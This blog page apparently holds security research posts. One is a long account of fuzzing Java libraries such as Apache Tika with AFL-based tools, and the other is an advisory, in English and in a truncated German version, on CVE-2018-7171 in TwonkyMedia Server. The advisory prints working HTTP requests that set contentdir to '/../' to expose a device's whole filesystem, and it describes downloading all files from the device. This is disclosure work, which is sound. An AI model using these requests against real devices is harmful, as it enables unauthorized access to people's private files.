2018-09-20

Java Bugs with and without Fuzzing

AFL-based Java fuzzers and the Java Security Manager

In the last half a year I have been doing some fuzzing with AFL-based Java fuzzers, namely Kelinci and JQF. I didn't really work with java-afl. The contents of this post are: This blog post will mention several files, they are included on https://github.com/modzero/mod0javaFuzzingResults. Additionally, the zip file includes several other files that reproduce the same bugs.

AFL-based Java fuzzing tools

The AFL fuzzer is really popular nowadays as it performs instrumented fuzzing. If you are not familiar with AFL, it's probably better if you at least quickly look at AFL before you read this post. It is especially important to understand how AFL handles hangs (test cases that take too much time to process) and crashes (e.g. target program segfault).

Kelinci is one of the first AFL for Java implementations and is very promising, although the approach with having two processes per fuzzing instance is a little clumsy and can get confusing. One process is the native C side, which takes mutated inputs produced by AFL and sends them to the second process via TCP socket. The second process is the Java process that feeds the input to the target program and sends back the code paths taken with this input. There are certain error messages in the Java part of this fuzzer that are not always exactly clear (at least to me), but they seem to indicate that the fuzzer is not running in a healthy state anymore. However, so far Kelinci worked very well for me and came up with a lot of results. There has not been any development for 7 months, so I hope the author will pick it up again.

JQF is actively maintained and the last changes were commited a couple of days ago. It does not take the classic fuzzer approach that most fuzzers for security researchers take, but instead is based on Java Unit Tests and focuses more on developers. It currently has only limited support of AFL's -t switch for the timeout settings and there is also only rudimentary afl-cmin support. While this is perfect for developers using Unit Tests, it is not the most flexible fuzzer for security researchers fuzzing Java code.

java-afl has not been updated in four months. This is actually the fuzzer I didn't successfully use at all. I tried to ask the developer about how to run it properly, but didn't get an answer that would help me run it on the test case I had in mind. If you have better luck with java-afl, please let me know, it would be interesting to hear how this fuzzer performs.

First steps with Apache Commons

I started with the Apache Common's Imaging JPEG parser as a target. The choice was simple because it was one of the examples explained for the Kelinci fuzzer. Apache Commons is a very popular library for all kind of things that are missing or incomplete in the Java standard library. When going through the author's example, I realized that he gave the fuzzer only one input file containing the text "hello", which is not a JPEG file and not a very good starting corpus. While it's probably lcamtuf's very interesting experiment that makes people believe using such corpus data is a valid choice, it is not a valid choice for proper fuzzing runs. lcamtuf's experiment was good to proof the point that the fuzzer is smart, but for productive fuzzing proper input files have to be used to achieve good results. Fuzzing is all about corpus data in the end. So I took the JPEG files in lcamtuf's corpus on the AFL website and some files from my private collection. The fuzzer quickly turned up with an additional ArrayIndexOutOfBoundsException which I reported to Apache (file ArrayIndexOutOfBoundsException_DhtSegment_79.jpeg). That was quiet an easy start into Java fuzzing. If you would do the same for other parsers of Apache Commons (for example PNG parser), you would most probably find some more unchecked exceptions.

Goals: Taking a step back

After this quick experiment I gave the idea of fuzzing Java some more thoughts. Fuzzings is originally applied to programs that are not memory safe, hoping that we are able to find memory corruption issues. Out of bound read or writes in Java code simply do not result in memory corruption but in more or less harmless Exceptions such as IndexOutOfBoundsException. While it might be desirable to find (code robustness) issues and might result in Denial of Service issues, the severity of these issues is usually low. The question is what kind of behavior and fuzzing results are we looking for? There are different scenarios that might be of interest, but the attack vector (how does the attacker exploit the issue in the real world?) matters a lot when looking at them. Here is my rough (over)view on Java fuzzing:

  • Finding bugs in the JVM.
    • Arbitrary Java code as input. This could be helpful in more exotic scenarios, for example when you need to escape from a sandboxed JVM. In most other scenarios this attack vector is probably just unrealistic, as an attacker would be executing Java code already.
    • Feeding data into built-in classes/functions (fuzzing the standard library), such as strings. This is not very likely to come up with results, but you never know, maybe there are Java deserialization vulnerabilities lurking deep in the JVM code?
    • Finding low-severity or non-security issues such as code that throws an Exception it didn't declare to throw (RuntimeExceptions).
  • Finding memory corruption bugs in Java code that uses native code (for example JNI or CNI). This is probably a very good place to use Java fuzzing, but I don't encounter this situation very much except in Android apps. And fuzzing Android apps is an entirely different beast that is not covered here.
  • Fuzzing pure Java code.
    • We could go for custom goals. This might depend on your business logic. For example, if the code heavily uses file read/writes maybe there is some kind of race condition? Also the idea of differential fuzzing for crypto libraries makes a lot of sense.
    • Finding "ressource management" issues, such as Denial of Service (DoS) issues, OutOfMemoryExceptions, high CPU load, high disk space usage, or functions that never return.
    • Finding low-severity or non-security issues such as RuntimeExceptions.
    • Finding well-known security issues for Java code, such as Java deserialization vulnerabilities, Server Side Request Forgery (SSRF), and External Entity Injection (XXE).
I was especially interested in the last three points in this list: Finding ressource issues, RuntimeExceptions and well-known Java security issues. While I already found a RuntimeException in my little experiment described above, I was pretty sure that I would be able to detect certain ressource management issues by checking the "hangs" directory of AFL. However, the last point of finding well-known security issues such as SSRF seems tricky. The fuzzer would need additional instrumentation or sanitizers to detect such insecure behavior. Just as Address Sanitizer (ASAN) aborts on invalid memory access for native code (which then leads to a crash inside AFL), it would be nice to have sanitizers that take care about such areas in the Java world. A file sanitizer for example might take a whitelist of files that are allowed to be accessed by the process, but abort if any other file is accessed. This could be used to detect XXE and SSRF scenarios. A network sanitizer might do the same if sockets are used. Imagine a Java image file parsing library as a target. From a security perspective such a library should never open network sockets, as this would indicate Server Side Request forgery. This is a very realistic scenario, and I did find XXE issues in PNG XMP metadata parsing libraries before.

Java Security Manager

After doing some research it turned out that there is nothing like a file whitelist sanitizer for native code where AFL is usually used. So if we would fuzz any C/C++ code we would have to write our own parser and as stated by Jakub Wilk it might be tricky to implement due to async-signal-safe filesystem functions. So if you feel like writing one, please go ahead.

Back to Java I found out that there is already such a sanitizer. The best part is that it's a built-in feature of the JVM and it's called Java Security Manager. Look at this simple Java Security Manager policy file I created for running the Kelinci fuzzer with our simple Apache Commons JPEG parsing code:

grant {
    permission java.io.FilePermission "/tmp/*", "read,write,delete";
    permission java.io.FilePermission "in_dir/*", "read";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master0/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master1/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave0/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave1/*", "read, write, delete";
    permission java.net.SocketPermission "localhost:7007-", "accept, listen, resolve";
    permission java.lang.RuntimePermission "modifyThread";
};

All it does is allowing file access to the temporary directory, reading from the input directory (in_dir) and writing to the output directory (out_dir) of AFL. Moreover, it allows the Kelinci Java process to listen on TCP port 7007 as well as to modify other threads. As the Security Manager is built into every Java JVM, you can simply start it with your usual command line with two more arguments:

java -Djava.security.manager -Djava.security.policy=java-security-policy.txt

So in our case we can run the Kelinci fuzzer server process with:

java -Djava.security.manager -Djava.security.policy=java-security-policy.txt -Djava.io.tmpdir=/tmp/ -cp bin-instrumented:commons-imaging-1.0-instrumented.jar edu.cmu.sv.kelinci.Kelinci driver.Driver @@

I went back and ran the Kelinci fuzzer some more hours on the Apache Commons JPEG parser without getting any new results with the Java Security Manager. However, at this point I was convinced that the Java Security Manager would take Java fuzzing to the next level. I just needed a different target first.

Targeting Apache Tika

Fast forward several days later, I stumbled over the Apache Tika project. As Apache Tika was formerly part of Apache Lucene, I was convinced that a lot of servers on the Internet would allow users to upload arbitrary files to be parsed by Apache Tika. As I'm currently maintaining another related research about web based file upload functionalities (UploadScanner Burp extension) this got me even more interested.

Apache Tika is a content analysis toolkit and can extract text content from over a thousand different file formats. A quick'n'dirty grep-estimate turned out that it has about 247 Java JAR files as dependencies at compile time. Apache Tika also had some severe security issues in the past. So as a test target Apache Tika seemed to fit perfectly. On the other hand I also knew that using such a big code base is a bad idea when fuzzing with AFL. AFL will more or less quickly deplete the fuzzing bitmap when the instrumented code is too large. Afterwards, AFL will be unable to detect when an input results in an interesting code path being taken. I was also not sure if I could successfully use the Java fuzzers to instrument the huge Apache Tika project. However, I decided to go on with this experiment.

I first tried to get things running with Kelinci, but ran into multiple issues and ended up creating a "works-for-me" Kelinci fork. After Kelinci was running, I also tried to get the JQF fuzzer running, however, I ran into similar but distinct problems and therefore decided to stick with Kelinci at this point. For Tika I had to adopt the Java Security Manager Policy:

grant {
    //Permissions required by Kelinci
    permission java.lang.RuntimePermission "modifyThread";
    
    permission java.net.SocketPermission "localhost:7007", "listen, resolve";
    permission java.net.SocketPermission "localhost:7008", "listen, resolve";
    permission java.net.SocketPermission "localhost:7009", "listen, resolve";
    permission java.net.SocketPermission "localhost:7010", "listen, resolve";
    permission java.net.SocketPermission "[0:0:0:0:0:0:0:1]:*", "accept, resolve";
    
    permission java.io.FilePermission "in_dir/*", "read";
    permission java.io.FilePermission "corpus/*", "read, write";
    permission java.io.FilePermission "crashes/*", "read";
    permission java.io.FilePermission "out_dir/*", "read, write";
    
    //Permissions required by Tika
    permission java.io.FilePermission "tika-app-1.17.jar", "read";
    permission java.io.FilePermission "tika-app-1.17-instrumented.jar", "read";

    permission java.io.FilePermission "/tmp/*", "read, write, delete";
    
    permission java.lang.RuntimePermission "getenv.TIKA_CONFIG";
    
    permission java.util.PropertyPermission "org.apache.tika.service.error.warn", "read";
    permission java.util.PropertyPermission "tika.config", "read";
    permission java.util.PropertyPermission "tika.custom-mimetypes", "read";
    permission java.util.PropertyPermission "org.apache.pdfbox.pdfparser.nonSequentialPDFParser.eofLookupRange", "read";
    permission java.util.PropertyPermission "org.apache.pdfbox.forceParsing", "read";
    permission java.util.PropertyPermission "pdfbox.fontcache", "read";
    permission java.util.PropertyPermission "file.encoding", "read";

    //When parsing certain PDFs...
    permission java.util.PropertyPermission "user.home", "read";
    permission java.util.PropertyPermission "com.ctc.wstx.returnNullForDefaultNamespace", "read";
    
    //When parsing certain .mdb files...
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.resourcePath", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.brokenNio", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.charset.VERSION_3", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.columnOrder", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.enforceForeignKeys", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.allowAutoNumberInsert", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.timeZone", "read";
};

To produce this policy file manually was much more annoying than for Apache Commons. The reason is that the necessary permissions we need to whitelist depend on the input file. So if a PNG file is fed into Apache Tika, it will need other runtime property permissions than if a PDF file is fed into Apache Tika. This means that we have to do a dry run first that will go through the entire input corpus of files and run them once with the minimum policy file. If a security exception occurs, it might be necessary to whitelist another permission. This process takes a lot of time. However, as an article from 2004 states:

There's currently no tool available to automatically generate a [Java security] policy file for specific code.
So that's why I wrote another quick'n'dirty hack/tool to generate Java security policy files. As it's not a beauty I gave it the ugly name TMSJSPGE on github. However, it does it's job and generates a Java security policy file. It will feed each corpus file to the target process (Tika in this case) and add a new rule to the security policy.

If you look at the above property permissions, I'm still not sure what they are all doing. However, I just decided I'll go with them and allow Tika to use them.

If you run your fuzzer with different input files, you might be required to adopt the Java Security policy, as other code paths might require new permissions. So the above security policy for Apache Tika is likely to be incomplete.

Apache Tika findings

As already explained, a good input corpus is vital for a successful fuzzing run. Additionally, I had to run Tika with as many files as possible to make sure the Java Security Policy covered most permissions necessary. Over the years I've collected many input sample files (around 100'000) by doing fuzzing runs with various libraries and by collecting third-party files (that's actually a topic for another day). So I decided I will run the TMSJSPGE tool with each of these 100'000 files to create the best Security Policy I can. When I checked back on the TMSJSPGE I saw that the tool was stuck feeding a certain file to Apache Tika. This means that Apache Tika never returned a result and the process hung. And that meant I already found security issues in Apache Tika 1.17 before I even started fuzzing. After removing the file that resulted in a hang and restarting TMSJSPGE, Apache Tika hung with several other files as well. Some of the files triggered the same hang and after deduplicating, the following two security issues were reported to Apache Tika:

I was wondering where these input files I had in my collection were coming from. Several BPG files triggering the issue were from a fuzzing run I once did for libbpg, so they were produced by AFL when creating BPG files for a native library. But the chm file triggering the other issue was a file that I downloaded a long time ago from the fuzzing project. It was a file Hanno Böck provided that came out of a fuzzing run for CHMLib. Interesting.

So here I was and had already found an uncaught exception in Apache Commons and two low severity issues in Apache Tika without even starting to do proper fuzzing.

To get an idea of the Java classes causing the issue I ran Apache Tika with a debugger and the triggering file, stopped the execution during the infinite loop and printed a stack trace. But most of the hard work to figure out the actual root causes of these issues was done by the maintainers, most importantly by Tim Allison and the Apache Tika team. That is also true for all the upcoming issues.

Fuzzing Apache Tika with Kelinci

After sorting out the input files that resulted in a hang, I started a couple of afl-fuzz fuzzing instances and waited. The behavior of the Kelinci fuzzer is sometimes a little brittle, so I often got the "Queue full" error message. It means the fuzzer is not running properly anymore and that timeouts will occur. I had to restart the fuzzing instances several times and tried to tweak the command line settings to improve stability. However, over time the instances often managed to fill up the queue again. Anyway, a couple of instances ran fine and found several "AFL crashes". Keep in mind that "AFL crashes" in this case just mean uncaught Java exceptions. After looking through and deduplicating issues, I reported the following non-security (or very low severity, a matter of definition) issues to the maintainers of the libraries used by Apache Tika:

The hang directory of AFL did not show any interesting results. After running each of the files in the hang directory with Apache Tika I found a PDF file that took nearly a minute to process, but none of the files lead to a full hang of the Tika thread. I suspect that the synchronization of the two processes was one of the reasons no infinite hangs were found by the fuzzer.

However, at this stage I was most disappointed that none of the crashes indicated that anything outside of the specified Java Security Manager policy was triggered. I guess this was a combination of my brittle configuration of Kelinci and the fact that it is probably not as easy to find arbitrary file read or write issues. But in the end you often simply don't know what's exactly the reason for not being successful with fuzzing.

JQF and a bug in Java

At one point I also wanted to try the JQF fuzzer on my ARM fuzzing machines with Apache Tika. It didn't work for me at first and I found out that OpenJDK on ARM had horrible performance with JQF, so I switched to Oracle's Java. Additionally, Apache Tika would simply not run with JQF. After the Tika 1.17 issues were fixed in Apache Tika I thought it was time to notify the maintainers of the fuzzers, so they could try to fuzz Apache Tika themselves. Rohan (maintainer of JQF) quickly fixed three independent issues and implemented a test case/benchmark for the fixed Tika 1.18 in JQF. After that I was able to fuzz Tika with my own corpus, but the performance was very bad for various reasons. One reason was the weak ARM boxes, but JQF couldn't handle timeouts either (AFL's -t switch). Rohan attempted a fix, but it's only working sometimes. Rohan was also very quick to implement afl-cmin and said running with a Java Security Manager policy should be no problem. However, I couldn't try those features properly due to the performance problems on the ARM machines. As I was not in the mood to switch fuzzing boxes, I just tried to get the fuzzer running somehow. After cutting down the input corpus and removing all PDF files that were taking potentially longer to be processed by Apache Tika, the fuzzer crept slowly forward. After not paying attention for 10 days, another hang was found by JQF in Apache Tika 1.18... I thought! However, after submitting this bug to Apache Tika, they pointed out that this was actually a bug in the Java standard libraries affecting Java before version 10 that I rediscovered:

  • Endless loop in RiffReader (file 10_hang.riff), where the code simply never returned. Unfortunately Java/Oracle never assigned a CVE for this. So Tim Allison from Apache Tika asked them to assign one, after 3 months and an endless stream of status update emails with no content we are still waiting for a CVE number. As this is not fixed in Java 8, Tim Allison also mitigated it on the Apache Tika side.

The hang file was created by the JQF fuzzer by modifying a sample QCP file "fart_3.qcp" from the public ffmpeg samples. So without actively targeting Java itself, I had rediscovered a bug in Java's standard libraries, as Tika used it. Quite an interesting twist.

Adding a x86 fuzzing box

At the same time I also realized that these ARM JQF fuzzer instances were stuck. The endless RIFF loop file was detected as a crash (which might just be bad behavior of JQF for hangs), so I didn't really know the reason why they were stuck currently. I tried to run the current input file on another machine, but the testcase didn't hang. So I didn't figure out why the fuzzer got stuck, but as Rohan pointed out the timeout handling (AFL's "hangs") isn't optimal yet. JQF will detect timeouts when the infinite loop hits instrumented part of the Java code, as it will be able to measure the time that passed. However, JQF will hang for now if a test file makes the code loop forever in non-instrumented code. I removed all RIFF/QCP input files so hopefully I wouldn't rediscover the RIFF endless loop bug again (I never switched to Java 10) and restarted the fuzzing instances.

I decided to additionally use a 32bit x86 VMWare fuzzing box, maybe it would run more stable there. I setup JQF with Java 8 again and without RIFF files as inputs. The x86 virtual machine performed much better, executing around 10 testcases per second. So I let these instances run for several days... just to realize when I came back that both instances got stuck after 7 hours of running. I checked again if the current input file could be the reason and this time this was exactly the problem, so another bug. Rinse and repeat, the next morning another bug. So after a while (at least 5 iterations) I had a bag full of bugs:

  • An endless loop in Junrar (file 11_hang_junrar_zero_header2.rar), where the code simply never returned when the rar header size is zero. I contacted one of the maintainers, beothorn. It was fixed and this issue ended up as CVE-2018-12418.
  • Infinite loop in Apache Tika's IptcAnpaParser for handling IPTC metadata (file 12_hang_tika_iptc.iptc), where the code simply never returned. This was fixed and assigned CVE-2018-8017.
  • Infinite loop in Apache PDFbox' AdobeFontMetricsParser (file 16_570s_fontbox_OOM.afm), after nearly 10 minutes (on my machine) leading to an out of memory situation. This was fixed and assigned CVE-2018-8036.
  • An issue when a specially crafted zip content is read with Apache Commons Compress (file 14_69s_tagsoup_HTMLScanner_oom.zip) that leads to an out of memory exception. This was fixed in Apache Commons Compress and CVE-2018-11771 was assigned. Another zip file created (file 15_680s_commons_IOE_push_back_buffer_full.zip) runs for 11 minutes (on my machine) leading to IOException with a message that the push back buffer is full and is probably related to the issue. Also probably the same issue is a file where Tika takes an arbitrary amount of time (during the tests between 20 seconds and 11 minutes) to process a zip file (file 13_48s_commons_truncated_zip_entry3.zip). This last one is worth a note as JQF correctly detected this as a hang and put it in AFL's hang directory. The underlying problem of CVE-2018-11771 was that a read operation started to return alternating values of -1 and 345 when called by an InputStreamReader with UTF-16. The minimal code to reproduce is:
@Test
public void testMarkResetLoop() throws Exception {
    InputStream is = Files.newInputStream(Paths.get("C:/14_69s_tagsoup_HTMLScanner_oom.zip"));
    ZipArchiveInputStream archive = new ZipArchiveInputStream(is);
    ZipArchiveEntry entry = archive.getNextZipEntry();
    while (entry != null) {
        if (entry.getName().contains("one*line-with-eol.txt")) {
            Reader r = new InputStreamReader(archive, StandardCharsets.UTF_16LE);
            int i = r.read();
            int cnt = 0;
            while (i != -1) {
                if (cnt++ > 100000) {
                    throw new RuntimeException("Infinite loop detected...");
                }
                i = r.read();
            }
        }
        entry = archive.getNextZipEntry();
    }
}

After all these fixes I ran the fuzzer again on a nightly build of Apache Tika 1.19 and it didn't find any new issues in more than 10 days. So my approach of fuzzing Tika seems to be exhausted. As always, it doesn't mean another approach wouldn't find new issues.

Summary

This is where I stopped my journey of Java fuzzing for now. I was a little disappointed that the approach with the Java Security Manager still did not find any security issues such as SSRF and that I only found ressource management issues. However, I'm pretty sure this strategy is still the way to go, it probably just needs other targets. As you can see there are loose ends everywhere and I'm definitely planning to go back to Java fuzzing:

  • Use Kelinci/JQF with other Apache Commons parsers, e.g. for PNG
  • Write sanitizers such as file or socket opening for native code AFL
  • Contribute to the AFL-based Java fuzzers

However, for now there are other things to break on my stack.

I would like to thank Tim Allison of the Apache Tika project, it was a pleasure to do coordinated disclosure with him. And also a big thanks to Rohan Padhye who was really quick implementing new features in JQF.

Make sure you add the files included on https://github.com/modzero/mod0javaFuzzingResults to your input corpus collection, as we saw it's worth having a collection of crashes for other libraries when targeting new libraries.


Posted by Tobias Ospelt | Permanent link

2018-06-06

[EN] Sharing Is Caring - A CVE-2018-7171 Round-up

Eine Deutsche Version befindet sich hier – German version is located right here

When your NAS shares the pictures of your vacation with the Internet

This blog post describes the vulnerability CVE-2018-7171 in TwonkyMedia Server version 7.0.11-8.5, which is e.g. installed on WD MyCloud devices. The vulnerability allows the listing of all files stored on the device, which is running the TwonkyMedia Server. Furthermore, an attacker who takes advantage of the vulnerability can download all media files e.g. pictures, videos and music that are stored on the device and on connected USB drives. The root cause of the vulnerability is the missing authorization and input validation of configuration parameters in the Twonky Media Server.

"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Extract TwonkyMedia Server

According to the distributors statement, TwonkyMedia Server will index and play media files. The indexed files can be "streamed" to other connected network devices, this means other network devices can download and play these files.

TwonkyMedia Server is pre-installed on many devices. Furthermore, a lot of routers automatically forward the DLNA-media streaming port, in this case port 9000, therefore that port is accessible via the internet. Researches on shodan.io showed, that in January 2018 around 24'000 TwonkyMedia Server-Instances were public accessible where. Only around three percent of these installations were password protected against unauthenticated access.

The following extract shows devices, that were running TwonkyMedia Server:

  • Thecus N2310
  • Thecus N4560
  • WDMyCloud
  • MyCloudEX2Ultra
  • WDMyCloudEX4
  • WDMyCloudEX2100
  • QNAP
  • Zyxel NAS326
  • Zyxel NAS542
  • Zyxel NSA310
  • Zyxel NSA310S
  • Zyxel NSA320
  • Zyxel NSA325-v2
  • Belkin routers
  • Zyxel EMG2926-Q10A
  • ...

To better understand how the TwonkyMedia Server works, the traffic was intercepted with Burp Suite. The researcher discovered, that not only directory names, but also file names were returned in the server’s responses, but they were not shown in the UI.

The following HTTP-sequence shows such a request and the response of the TwonkyMedia Server.

HTTP request:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
Connection: close

HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 83
Date: Thu, 18 Jan 2018 12:16:43 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001DNas_Prog
002DPublic
003Fraid_version.txt
004DSmartWare
005DTimeMachineBackup

The example shows, that the TwonkyMedia Server only responded with the shared folder structure, that was defined in the NAS. Furthermore, the download of all media files indexed in these directories is possible (see TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)

A HTTP request on the following URL returns all configurable parameters for TwonkyMedia Server:

This list contains some parameters that are not configurable by the TwonkyMedia Server UI. What happens if we try to manipulate them anyway?

If you set the parameter contentdir to "/../" you can discover the whole file systems content.

HTTP request:

POST /rpc/set_all HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 19
DNT: 1
Connection: close

contentdir=/../

The following example shows the response after the contentdir parameter patch:

HTTP request:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close

HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: de
Content-Length: 243
Date: Wed, 28 Mar 2018 02:28:12 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001D/
002D/bin
003D/boot
004D/CacheVolume
005D/DataVolume
006D/dev
007D/etc
008D/home
009D/lib
010D/media
011D/mnt
012D/nfs
013D/opt
014D/proc
015D/root
016D/run
017D/sbin
018D/shares
019D/srv
020D/sys
021D/system
022D/tmp
023D/usr
024D/var

After patching the contentdir parameter, you can go to TwonkyMedia Server configuration, here you can choose every folder available on the filesystem for indexing the media files. Once the media files are indexed (can be triggered manually, or just wait a couple of minutes) you can download the content.

For patching the contentdir parameter and filesystem discovery this Proof-of-Concept can be used. The repository also contains a batch download script

If an attacker takes advantage of this vulnerability he/she can not only dig deep into the privacy of his target but may also use this vulnerability to mount further attacks on the target system. For example, this information can be used to attack and maybe take over the device via other services, e.g. webservers.

If your device is running TwonkyMedia Server version 7.0.11-8.5, you should consider your media content as no longer private. You can easily check if your device is running the service by browsing the following URL in your favorite web browser http://deviceIP:9000/. Since TwonkyMedia Server sometimes use other ports than 9000 here is a list of other discovered ports: 9000, 9001, 9002, 9003, 9004 and 9005. Sometimes the TwonkyMedia Server installation uses HTTPS, so you have to set the protocol to https, e.g. https://deviceIP:9002. You may want to check if your TwonkyMedia Server is exposed in the Internet, you can easily find your public ip by browsing http://ipinfo.io/ip. Replace deviceIP from the previous example with your public IP.

modzero recommends protecting TwonkyMedia Server installation with a password, or to switch of DLNA-media streaming if you don't need this feature. For detailed information on how to switch of DLNA-media streaming please contact the device manufacturer.


Posted by Sven Fassbender | Permanent link | File under: security, software, advisory

2018-06-04

Sharing Is Caring - Ein CVE-2018-7171 Round-up

Eine Englische Version befindet sich hier – English version is located right here

Wenn die Festplatte im Heimnetz die Urlaubsbilder mit dem Internet teilt

Dieser Blog-Eintrag behandelt die Schwachstelle CVE-2018-7171 im TwonkyMedia Server Versionen 7.0.11-8.5, welcher beispielsweise auf WD MyCloud-Geräten vorinstalliert ist. Diese ermöglicht das Auflisten aller auf den Geräten vorhandenen Dateien und Ordnern. Darüber hinaus ist es einem Angreifer nach dem Ausnützen der Schwachstelle möglich alle Mediendateien (Fotos, Videos und Musik) von den betroffenen Geräten und angeschlossener Peripherie (externe Festplatten, USB-Sticks, ...) herunterzuladen. Ursache für die Schwachstelle ist die fehlende Authorisierung und Eingabevalidierung beim Setzen der Konfigurationsparameter für den sogenannten TwonkyMedia Server.

"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Auszug TwonkyMedia Server

Wie der Aussage des Hertstellers entnommen werden kann, dient der TwonkyMedia Server der Indexierung und Wiedergabe von Mediendateien. Diese können im Netzwerk "gebeamt" werden, sprich andere Netzwerkteilnehmer können diese auch wiedergeben oder downloaden.

Der TwonkyMedia Server ist auf zahlreichen Geräten vorinstalliert. Darüber hinaus leiten eine vielzahl von Routern den DLNA-Medienstreaming-Port, in diesem Fall Port 9000, automatisch weiter, wodurch dieser vom Internet aus erreichbar ist. Nachforschungen auf shodan.io haben ergeben, dass im Januar 2018 rund 24'000 TwonkyMedia Server-Instanzen öffentlich erreichbar waren. Nur ein Bruchteil der Installationen, rund drei Prozent, waren durch einen unauthorisierten Zugriff mittels eines Passwortes geschützt.

Im folgenden eine Auflistung der Geräte auf denen TwonkyMedia Server identifiziert wurden:

  • Thecus N2310
  • Thecus N4560
  • WDMyCloud
  • MyCloudEX2Ultra
  • WDMyCloudEX4
  • WDMyCloudEX2100
  • QNAP
  • Zyxel NAS326
  • Zyxel NAS542
  • Zyxel NSA310
  • Zyxel NSA310S
  • Zyxel NSA320
  • Zyxel NSA325-v2
  • Belkin routers
  • Zyxel EMG2926-Q10A
  • ...

Um die Funktionsweise des TwonkyMedia Servers besser verstehen zu können, wurde der HTTP-Verkehr im Burp Suite mitverfolgt. Dabei wurde deutlich, dass in den Antworten des Webservers nicht nur die verfügbaren Ordner, sondern auch Dateien enthalten waren. Von der UI dargestellt wurden jedoch nur die Ordner.

Im folgenden HTTP-Verlauf wird eine solche Anfrage und die dazugehörige Antwort des TwonkyMedia Servers dargestellt.

HTTP Anfrage:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
Connection: close

HTTP Antwort:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 83
Date: Thu, 18 Jan 2018 12:16:43 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001DNas_Prog
002DPublic
003Fraid_version.txt
004DSmartWare
005DTimeMachineBackup

Das vorherige Beispiel zeigt, dass bisher nur die Verzeichnisstruktur der im NAS als geteilte Ordner definierten Verzeichnisse eingesehen werden konnte. Darüber hinaus ist der Download aller indexierten Medieninhalte möglich (siehe TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)

Eine HTTP Anfrage an die folgende Adresse lieferte eine Übersicht aller Konfigurationsparameter des TwonkyMedia Servers:

Diese sehr umfangreiche Liste enthielt einige Parameter, die nicht über den TwonkyMedia Webserver konfiguriert werden konnten. Was nun, wenn man diese Parameter dennoch manipuliert?

Setzt man den Parameter contentdir auf "/../" so ist es zukünftig möglich das Gesamte Dateisystem zu erkunden:

HTTP Anfrage:

POST /rpc/set_all HTTP/1.1
